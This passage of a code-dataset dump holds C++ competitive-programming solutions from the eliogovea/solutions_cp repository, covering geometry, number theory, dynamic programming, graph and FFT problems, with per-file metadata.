dot(const pt &a, const pt &b) {\n\treturn a.x * b.x + a.y * b.y + a.z * b.z;\n}\n\nconst int N = 100005;\n\nint n;\npt pts[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> pts[i].x >> pts[i].y >> pts[i].z;\n\t}\n\tif (n <= 3) {\n\t\tcout << \"TAK\\n\";\n\t\treturn 0;\n\t}\n\tbool oneLine = true;\n\tpt v1 = pts[1] - pts[0];\n\tfor (int i = 2; i < n; i++) {\n\t\tpt v2 = pts[i] - pts[0];\n\t\tpt v3 = cross(v1, v2);\n\t\tif (v3.x != 0 || v3.y != 0 || v3.z != 0) {\n\t\t\toneLine = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (oneLine) {\n\t\tcout << \"TAK\\n\";\n\t\treturn 0;\n\t}\n\tpt v;\n\tfor (int i = 2; i < n; i++) {\n\t\tpt v2 = pts[i] - pts[0];\n\t\tpt v3 = cross(v1, v2);\n\t\tif (v3.x != 0 || v3.y != 0 || v3.z != 0) {\n\t\t\tv = v3;\n\t\t\tbreak;\n\t\t}\n\t}\n\tLL g = __gcd(abs(v.x), __gcd(abs(v.y), abs(v.z)));\n\tv.x /= g;\n\tv.y /= g;\n\tv.z /= g;\n\tbool onePlane = true;\n\tfor (int i = 1; i < n; i++) {\n\t\tif (dot(pts[i] - pts[0], v) != 0) {\n\t\t\tonePlane = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\tcout << (onePlane ? \"TAK\" : \"NIE\") << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4266666769981384, "alphanum_fraction": 0.43111109733581543, "avg_line_length": 11.352941513061523, "blob_id": "4740882c7496e1eef310ee27e061f2dcbb9c4468", "content_id": "1c0a82b2873e821debbe4899deff8d6f4b15d421", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 225, "license_type": "no_license", "max_line_length": 26, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1646-Accepted-s745344.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint n, m, x, s;\r\n\r\nint main() {\r\n\twhile (cin >> m >> n) {\r\n\t\ts = 0;\r\n\t\twhile (m--) {\r\n\t\t\tcin >> x;\r\n\t\t\ts ^= x;\r\n\t\t}\r\n\t\tif (s) cout << \"Vida\\n\";\r\n\t\telse cout << \"Andrea\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.3590604066848755, "alphanum_fraction": 0.3993288576602936, "avg_line_length": 15.529411315917969, "blob_id": "9054b09fa89af0f02a59292ebfe0f89954fd95fb", "content_id": "b78a56a3115c1f8c07ab57fa7186504e75cc1078", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 596, "license_type": "no_license", "max_line_length": 69, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3245-Accepted-s883847.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint ans[100];\r\n\r\nconst int N = 100000;\r\n\r\nint cnt[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= 64; i++) ans[i] = -1;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\tcnt[j]++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tif (ans[cnt[i]] == -1) {\r\n\t\t\tans[cnt[i]] = i;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 63; i > 0; i--) {\r\n if (ans[i] == -1 || ans[i] > ans[i + 1]) ans[i] = ans[i + 1];\r\n\t}\r\n\tint t, n;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tcout << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2594546973705292, "alphanum_fraction": 0.2832013964653015, "avg_line_length": 19.05555534362793, "blob_id": "014006584bcdf2710aa52df319b27712893cb8c0", "content_id": "0ade07d8d68dd80a94b2a221de751c4294d209e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1137, "license_type": "no_license", "max_line_length": 40, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p2212-Accepted-s510938.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\nusing namespace std;\r\n\r\nchar d[26],b[26],l[26];\r\nint diet[26];\r\nint c;\r\n\r\nint main()\r\n{\r\n cin >> c;\r\n while(c--)\r\n {\r\n cin >> d >> b >> l;\r\n bool f=1;\r\n for(int i=0; i<strlen(d); i++)\r\n {\r\n int x = d[i]-'A';\r\n diet[x]=1;\r\n }\r\n for(int i=0; i<strlen(b); i++)\r\n {\r\n int x=b[i]-'A';\r\n if(diet[x]==0 || diet[x]==2)\r\n {\r\n f=0; break;\r\n }\r\n else diet[x]++;\r\n }\r\n for(int i=0; i<strlen(l); i++)\r\n {\r\n int x=l[i]-'A';\r\n if(diet[x]==0 || diet[x]==2)\r\n {\r\n f=0;break;\r\n }\r\n else diet[x]++;\r\n }\r\n if(f)\r\n {\r\n for(int i=0; i<26; i++)\r\n if(diet[i]==1)\r\n {\r\n int x=i+'A';\r\n cout << char(x);\r\n }\r\n cout << endl;\r\n }\r\n else cout << \"CHEATER\" << endl;\r\n\r\n for(int i=0; i<26; i++)\r\n diet[i]=0;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.37634408473968506, "alphanum_fraction": 0.3947772681713104, "avg_line_length": 17.727272033691406, "blob_id": "6fc9921d6484cda1b3ab018e89be2458fdfaad78", "content_id": "cf241351cbfacf4e2d5a449dd54bf9f957739c8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 651, "license_type": "no_license", "max_line_length": 55, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2902-Accepted-s620016.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = (ll)1e9;\r\n\r\nll exp(ll x, ll n) {\r\n ll ret = 1ll;\r\n while (n) {\r\n if (n & 1ll) ret = (ret * x) % mod;\r\n n >>= 1ll;\r\n x = (x * x) % mod;\r\n }\r\n return ret;\r\n}\r\n\r\nstring n;\r\nll k, a, sol;\r\n\r\nint main() {\r\n while (cin >> n >> k) {\r\n a = (exp(2ll, k) - 2ll + mod) % mod;\r\n sol = 1ll;\r\n reverse(n.begin(), n.end());\r\n for (int i = 0; n[i]; i++) {\r\n sol = (sol * exp(a, ll(n[i] - '0'))) % mod;\r\n a = exp(a, 10ll);\r\n }\r\n cout << sol << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.34450170397758484, "alphanum_fraction": 0.3676975965499878, "avg_line_length": 25.069766998291016, "blob_id": "810f579872eefbb6c6753f138560ae28827d0174", "content_id": "aad8813c7c686751ce05bfad4316c8919525cae6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1164, "license_type": "no_license", "max_line_length": 57, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2862-Accepted-s622128.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000000;\r\n\r\ntypedef long long ll;\r\n\r\nbool criba[MAXN + 5];\r\nvector<ll> p, aux;\r\nll c[MAXN], tn, n, sol;\r\n\r\nint main() {\r\n for (int i = 2; i * i <= MAXN; i++)\r\n if (!criba[i])\r\n for (int j = i * i; j <= MAXN; j += i)\r\n criba[j] = 1;\r\n p.push_back(2);\r\n for (int i = 3; i <= MAXN; i += 2)\r\n if (!criba[i]) p.push_back(i);\r\n\r\n scanf(\"%lld\", &tn);\r\n for (int i = 0; i < tn; i++) {\r\n scanf(\"%lld\", &n);\r\n aux.clear();\r\n for (int i = 0; p[i] * p[i] <= n; i++)\r\n if (n % p[i] == 0) {\r\n aux.push_back(p[i]);\r\n while (n % p[i] == 0) n /= p[i];\r\n }\r\n if (n > 1ll) aux.push_back(n);\r\n int s = aux.size();\r\n for (int i = 1; i < 1 << s; i++) {\r\n ll cant = 0, prod = 1ll;\r\n for (int j = 0; j < s; j++)\r\n if (i & (1 << j)) cant++, prod *= aux[j];\r\n if (cant & 1ll) sol += c[prod];\r\n else sol -= c[prod];\r\n c[prod]++;\r\n }\r\n }\r\n printf(\"%lld\\n\", tn * (tn - 1ll) / 2ll - sol);\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3231707215309143, "alphanum_fraction": 0.36788618564605713, "avg_line_length": 15.965517044067383, "blob_id": "d50273f7e3dc7fefa382ca0c96ad0f483e9a1fc3", "content_id": "329fdfc4948842773a810ed46179f6cd687e78f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 492, "license_type": "no_license", "max_line_length": 43, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p4004-Accepted-s1228712.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int S = 10 * 1000 + 10;\n\nint n;\nstring s;\nstring p = \"papa\";\nlong long f[10][S];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n cin >> n >> s;\n\n f[0][0] = 1;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j <= 4; j++) {\n f[j][i + 1] += f[j][i];\n if (j < 4 && s[i] == p[j]) {\n f[j + 1][i + 1] += f[j][i];\n }\n }\n }\n\n cout << f[4][n] << \"\\n\";\n}\n" }, { "alpha_fraction": 0.44133099913597107, "alphanum_fraction": 0.4702276587486267, "avg_line_length": 17.03333282470703, "blob_id": "023f6ef3793c849c7ad2f17f38e8d7067028d89c", "content_id": "86c420ea364ff15148c8f0d655cbe30fb0346b39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1142, "license_type": "no_license", "max_line_length": 67, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p2913-Accepted-s644903.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll inf = 1e18;\r\n\r\nbool criba[105];\r\nvector<int> pr;\r\nvoid Criba() {\r\n\tfor (int i = 2; i * i <= 100; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= 100; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tfor (int i = 2; i <= 100; i++)\r\n\t\tif (!criba[i]) pr.push_back(i);\r\n}\r\n\r\nvector<pair<ll, int> > v;\r\n\r\nll pw(ll a, int b) {\r\n ll r = 1ll;\r\n while (b--) r *= a;\r\n return r;\r\n}\r\n\r\nvoid form(ll r, int cd, int ind, int last) {\r\n v.push_back(make_pair(r, cd));\r\n for (int i = 1; i <= last; i++) {\r\n ll pp = pw(pr[ind], i);\r\n if (inf / pp > r) form(r * pp, cd * (i + 1), ind + 1, i);\r\n }\r\n}\r\n\r\nint tc;\r\nll n;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n Criba();\r\n form(1, 1, 0, 63);\r\n sort(v.begin(), v.end());\r\n int s = v.size();\r\n\r\n pair<ll, int> pi = v[0];\r\n for (int i = 0; i < s; i++)\r\n if (v[i].second <= pi.second)\r\n v[i] = pi;\r\n else pi = v[i];\r\n\r\n cin >> tc;\r\n while (tc--) {\r\n cin >> n;\r\n pi = make_pair(n, 1000);\r\n cout << (--upper_bound(v.begin(), v.end(), pi))->first << '\\n';\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3395802080631256, "alphanum_fraction": 0.3658170998096466, "avg_line_length": 21.40350914001465, "blob_id": "a5575d4ea198a920e10acfb3424f9824f8978f02", "content_id": "3872de4002cce1164876b6c9d502ef9bf608e7b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1334, "license_type": "no_license", "max_line_length": 74, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p2312-Accepted-s640792.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n//#include <cstdio>\r\nusing namespace std;\r\n\r\nconst int MAXN = 25;\r\nconst int dy[] = {1, 0, -1, 0};\r\nconst int dx[] = {0, 1, 0, -1};\r\nint tc, r, c, mark[MAXN][MAXN], id;\r\nint bin['Z' - 'A' + 5][7];\r\nint code[MAXN][MAXN];\r\nstring str;\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tfor (int i = 'A', ind; i <= 'Z'; i++) {\r\n\t\tint x = i - 'A' + 1, p = x;\r\n\t\tind = 4;\r\n\t\twhile (x) {\r\n\t\t\tbin[p][ind--] = (x & 1);\r\n\t\t\tx >>= 1;\r\n\t\t}\r\n\t}\r\n\tcin >> tc;\r\n\tfor (int cas = 1; cas <= tc; cas++) {\r\n\t\tid++;\r\n\t\tcin >> r >> c;\r\n\t\tgetline(cin, str);\r\n\t\t//cout << str << '\\n';\r\n\t\tfor (int i = 0; i < r; i++)\r\n\t\t\tfor (int j = 0; j < c; j++)\r\n\t\t\t\tcode[i][j] = 0;\r\n\t\tint x = 0, y = 0, d = 0;\r\n\t\tfor (int i = 1; str[i]; i++) {\r\n\t\t\tint b = str[i] - 'A' + 1;\r\n\t\t\tfor (int j = 0; j < 5; j++) {\r\n //cout << y << ' ' << x << ' ' << bin[b][j] << '\\n';\r\n\t\t\t\tcode[x][y] = bin[b][j];\r\n\t\t\t\tmark[x][y] = id;\r\n\t\t\t\tif (j == 4 && !str[i + 1]) break;\r\n\t\t\t\tint nx = x + dx[d];\r\n\t\t\t\tint ny = y + dy[d];\r\n\t\t\t\twhile (nx < 0 || nx >= r || ny < 0 || ny >= c || mark[nx][ny] == id) {\r\n\t\t\t\t\td = (d + 1) % 4;\r\n\t\t\t\t\tnx = x + dx[d];\r\n\t\t\t\t\tny = y + dy[d];\r\n\t\t\t\t}\r\n x = nx;\r\n y = ny;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << cas << ' ';\r\n\t\tfor (int i = 0; i < r; i++)\r\n for (int j = 0; j < c; j++)\r\n cout << code[i][j];\r\n cout << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.46590909361839294, "alphanum_fraction": 0.47814685106277466, "avg_line_length": 18.070175170898438, "blob_id": "e7e7c97033962d751f591d2d82f101cf14af658b", "content_id": "47ae3f47ec542067cbecd8482a25b98d72ed5d06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1144, "license_type": "no_license", "max_line_length": 73, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p2759-Accepted-s610918.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 2010;\r\n\r\nint n, c;\r\nint p[MAXN], rank[MAXN];\r\n\r\nvoid make(int x) {\r\n\tp[x] = x; rank[x] = 1;\r\n}\r\n\r\nint find(int x) {\r\n\tif (x != p[x]) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\nbool join(int x, int y) {\r\n\tint px = find(x), py = find(y);\r\n\tif (px == py) return 0;\r\n\tif (rank[px] > rank[py]) p[py] = px;\r\n\telse if (rank[py] > rank[px]) p[px] = py;\r\n\telse {\r\n\t\tp[px] = py;\r\n\t\trank[py]++;\r\n\t}\r\n\treturn 1;\r\n}\r\n\r\nvector<pair<int, pair<int, int> > > edges;\r\n\r\nint x[MAXN], y[MAXN];\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &c);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tmake(i);\r\n\t\tscanf(\"%d%d\", &x[i], &y[i]);\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tint d = (x[i] - x[j]) * (x[i] - x[j]) + (y[i] - y[j]) * (y[i] - y[j]);\r\n\t\t\tif (d >= c)edges.push_back(make_pair(d, make_pair(i, j)));\r\n\t\t}\r\n\t}\r\n\r\n\tint sol = 0, ce = 0;\r\n\r\n\tsort(edges.begin(), edges.end());\r\n\tfor (int i = 0; i < edges.size(); i++)\r\n\t\tif (join(edges[i].second.first, edges[i].second.second)) {\r\n\t\t\tsol += edges[i].first;\r\n\t\t\tce++;\r\n\t\t}\r\n\tif (ce == n - 1) printf(\"%d\\n\", sol);\r\n\telse printf(\"-1\\n\");\r\n}\r\n" }, { "alpha_fraction": 0.4137515127658844, "alphanum_fraction": 0.44993969798088074, "avg_line_length": 13.351851463317871, "blob_id": "0f15b61cd8a4743b7276e036faf3109c8d4c5a55", "content_id": "7028e52e04fe1905cf63db7439171d94f0044c71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 829, "license_type": "no_license", "max_line_length": 40, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p2191-Accepted-s546068.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<queue>\r\n#define MAXN 110\r\nusing namespace std;\r\n\r\nconst int mov[4][2]={1,0,-1,0,0,1,0,-1};\r\n\r\nint n,m,mat[MAXN][MAXN],d[MAXN][MAXN];\r\nqueue<pair<int,int> > Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&n,&m);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tfor(int j=1; j<=m; j++)\r\n\t\t{\r\n\t\t\td[i][j]=1<<29;\r\n\t\t\tscanf(\"%d\",&mat[i][j]);\r\n\t\t}\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\td[i][1]=mat[i][1];\r\n\t\tQ.push(make_pair(i,1));\r\n\t}\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint i=Q.front().first;\r\n\t\tint j=Q.front().second;\r\n\r\n\t\tQ.pop();\r\n\r\n\t\tfor(int k=0; k<4; k++)\r\n\t\t{\r\n\t\t\tint ni=i+mov[k][0];\r\n\t\t\tint nj=j+mov[k][1];\r\n\r\n\t\t\tif(d[ni][nj] > d[i][j] + mat[ni][nj])\r\n\t\t\t{\r\n\t\t\t\td[ni][nj] = d[i][j] + mat[ni][nj];\r\n\t\t\t\tQ.push(make_pair(ni,nj));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tint mn=1<<29;\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tmn=min(mn,d[i][m]);\r\n\r\n\tprintf(\"%d\\n\",mn);\r\n}\r\n" }, { "alpha_fraction": 0.3076363503932953, "alphanum_fraction": 0.3272727131843567, "avg_line_length": 20.177419662475586, "blob_id": "357fd717fe63ff01094b08dbeafdd4b4b0f0b342", "content_id": "421f844a9fa83aac47d7e3446160f608bd8da03c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1375, "license_type": "no_license", "max_line_length": 52, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p3855-Accepted-s1137695.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline int power(int x, int n, int m) {\r\n int res = 1;\r\n while (n) {\r\n if (n & 1) {\r\n res = (long long)res * x % m;\r\n }\r\n x = (long long)x * x % m;\r\n n >>= 1;\r\n }\r\n return res;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n // freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n int t;\r\n string n;\r\n long long k;\r\n int r;\r\n\r\n cin >> t;\r\n while (t--) {\r\n cin >> n >> k >> r;\r\n int curr = 0;\r\n for (int i = 0; i < n.size(); i++) {\r\n curr = (long long)curr * 10LL % r;\r\n curr += (n[i] - '0');\r\n if (curr >= r) {\r\n curr -= r;\r\n }\r\n }\r\n int curp10 = power(10, n.size(), r);\r\n int ans = 0;\r\n int nextr;\r\n while (k) {\r\n if (k & 1LL) {\r\n ans = (long long)ans * curp10 % r;\r\n ans += curr;\r\n if (ans >= r) {\r\n ans -= r;\r\n }\r\n }\r\n nextr = (long long)curr * curp10 % r;\r\n nextr += curr;\r\n if (nextr >= r) {\r\n nextr -= r;\r\n }\r\n curr = nextr;\r\n curp10 = (long long)curp10 * curp10 % r;\r\n k >>= 1LL;\r\n }\r\n\r\n cout << ans << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.33760684728622437, "alphanum_fraction": 0.3888888955116272, "avg_line_length": 16, "blob_id": "768b612e99d1b52ba56a4c8d9fa530cc458e3752", "content_id": "f27afb69d0a3909a08fe26ebcd137371d623a9c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 234, "license_type": "no_license", "max_line_length": 46, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p1508-Accepted-s496429.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n;\r\ndouble a1,a2,h1,h2;\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n while(n--){\r\n scanf(\"%lf%lf%lf\",&a1,&a2,&h1);\r\n printf(\"%.2lf\\n\",a1*h1/a2);\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.46994534134864807, "alphanum_fraction": 0.48087432980537415, "avg_line_length": 16.299999237060547, "blob_id": "792428700478f44e0098d040bf1bcc9467c45c6d", "content_id": "de979fc4471d5e0c95435321924ba61f7a0fc095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 366, "license_type": "no_license", "max_line_length": 31, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2944-Accepted-s634469.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\nusing namespace std;\r\n\r\nconst int MAXN = 505;\r\n\r\nint n, m[MAXN], a, b, sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tcin >> m[i];\r\n\twhile (cin >> a >> b) {\r\n\t\tif (m[a] < m[b]) sol += m[a];\r\n\t\telse sol += m[b];\r\n\t}\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3769100308418274, "alphanum_fraction": 0.39898133277893066, "avg_line_length": 15.323529243469238, "blob_id": "acdb0452db1fa252bd45d51d5390d2563bdc262c", "content_id": "9ef5aec75c817a8090ca26a8d9bc7d9f124a4259", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 589, "license_type": "no_license", "max_line_length": 42, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2006-Accepted-s503350.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nstruct bb\r\n{\r\n ll w,h;\r\n}b[2001];\r\n\r\nint n,l;\r\nll dp[2001],mx,ac;\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d\",&n,&l);\r\n for(int i=1; i<=n; i++)\r\n scanf(\"%lld%lld\",&b[i].h,&b[i].w);\r\n\r\n for(int i=1; i<=n; i++)\r\n {\r\n mx=b[i].h,ac=b[i].w;\r\n dp[i]=dp[i-1]+mx;\r\n for(int j=i-1; j; j--)\r\n {\r\n ac+=b[j].w;\r\n if(ac>l)break;\r\n mx=max(mx,b[j].h);\r\n dp[i]=min(dp[i],dp[j-1]+mx);\r\n }\r\n }\r\n printf(\"%lld\\n\",dp[n]);\r\n}\r\n" }, { "alpha_fraction": 0.2720559537410736, "alphanum_fraction": 0.3019821345806122, "avg_line_length": 21.973215103149414, "blob_id": "d3204936d3f2fa82e2a741c43a681726c7fa3f2f", "content_id": "4f933925ea63647e7b2eca8ec2eccd21a6fcc751", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2573, "license_type": "no_license", "max_line_length": 69, "num_lines": 112, "path": "/Codeforces-Gym/100541 - 2014 ACM-ICPC Vietnam National Second Round/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 ACM-ICPC Vietnam National Second Round\n// 100541I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 1010;\n\ntypedef long long ll;\n\nstring mapa[MAXN];\nint dp[MAXN][MAXN][5];\n\nint n,m;\n\nbool can_move(int i,int j){\n return (i >= 0 && j >= 0 && i < n && j < m && mapa[i][j] == '1');\n}\n\nint solve(int i,int j,int d){\n if( dp[i][j][d] != -1){\n return dp[i][j][d];\n }\n\n dp[i][j][d] = 0;\n\n if(d == 1){\n if( can_move(i , j-1) ){\n dp[i][j][d]++;\n if( can_move(i+1 , j-1) ){\n dp[i][j][d]++;\n dp[i][j][d] += solve(i+1,j-1,d);\n }\n }\n }\n else if(d == 2){\n if( can_move(i-1 , j) ){\n dp[i][j][d]++;\n if( can_move(i-1 , j-1) ){\n dp[i][j][d]++;\n dp[i][j][d] += solve(i-1,j-1,d);\n }\n }\n }\n else if(d == 3){\n if( can_move(i , j+1) ){\n dp[i][j][d]++;\n if( can_move(i-1 , j+1) ){\n dp[i][j][d]++;\n dp[i][j][d] += solve(i-1,j+1,d);\n }\n }\n }\n else if(d == 4){\n if( can_move(i+1 , j) ){\n dp[i][j][d]++;\n if( can_move(i+1 , j+1) ){\n dp[i][j][d]++;\n dp[i][j][d] += solve(i+1,j+1,d);\n }\n }\n }\n\n return dp[i][j][d];\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while(tc--){\n cin >> n >> m;\n for(int i = 0;i < n; i++){\n cin >> mapa[i];\n for(int j = 0; j < m; j++){\n for(int k = 1; k <= 4; k++){\n dp[i][j][k] = -1;\n }\n }\n }\n\n ll sol = 0ll;\n\n for(int i = 0;i < n; i++){\n for(int j = 0; j < m; j++){\n if( can_move(i,j) ){\n ll sol2 = 1ll;\n if( can_move(i , j-1) ){\n sol2 += (ll)solve( i , j-1 , 2 ) + 1ll;\n }\n if( can_move(i , j+1) ){\n sol2 += (ll)solve( i , j+1 , 4 ) + 1ll;\n }\n if( can_move(i+1 , j) ){\n sol2 += (ll)solve( i+1 , j , 1 ) + 1ll;\n }\n if( can_move(i-1 , j) ){\n sol2 += (ll)solve( i-1 , j , 3 ) + 1ll;\n }\n sol = max( sol , sol2 );\n }\n }\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.3301127254962921, "alphanum_fraction": 0.36231884360313416, "avg_line_length": 15.3421049118042, "blob_id": "d328a7c68e2553057375f66b01c794e8e5ad4589", "content_id": "15ddf039fc922291614d29a5551fb17681f5494b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 621, "license_type": "no_license", "max_line_length": 49, "num_lines": 38, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint tc;\n\tcin >> tc;\n\tint n, m;\n\n while( tc-- ){\n cin >> n >> m;\n ll sol = 1ll;\n\n if( n == 0 && m == 0 ){\n cout << \"0\\n\";\n continue;\n }\n\n for( int i = 1; i <= max( n , m ); i++ ){\n if( i <= n ){\n sol *= 26ll;\n }\n if( i <= m ){\n sol *= 10ll;\n }\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4241733253002167, "alphanum_fraction": 0.4675028622150421, "avg_line_length": 17.27083396911621, "blob_id": "5e3764f62c11eb1d265610c091a94be079402280", "content_id": "02703f4eb1c442bdfc4df102e856ff30de9a5990", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1754, "license_type": "no_license", "max_line_length": 105, "num_lines": 96, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef complex<double> comp;\n\nconst double pi = acos(-1.0);\nconst int MAXN = 605000;\n\nint rev[MAXN * 2];\n\nvoid fft( comp 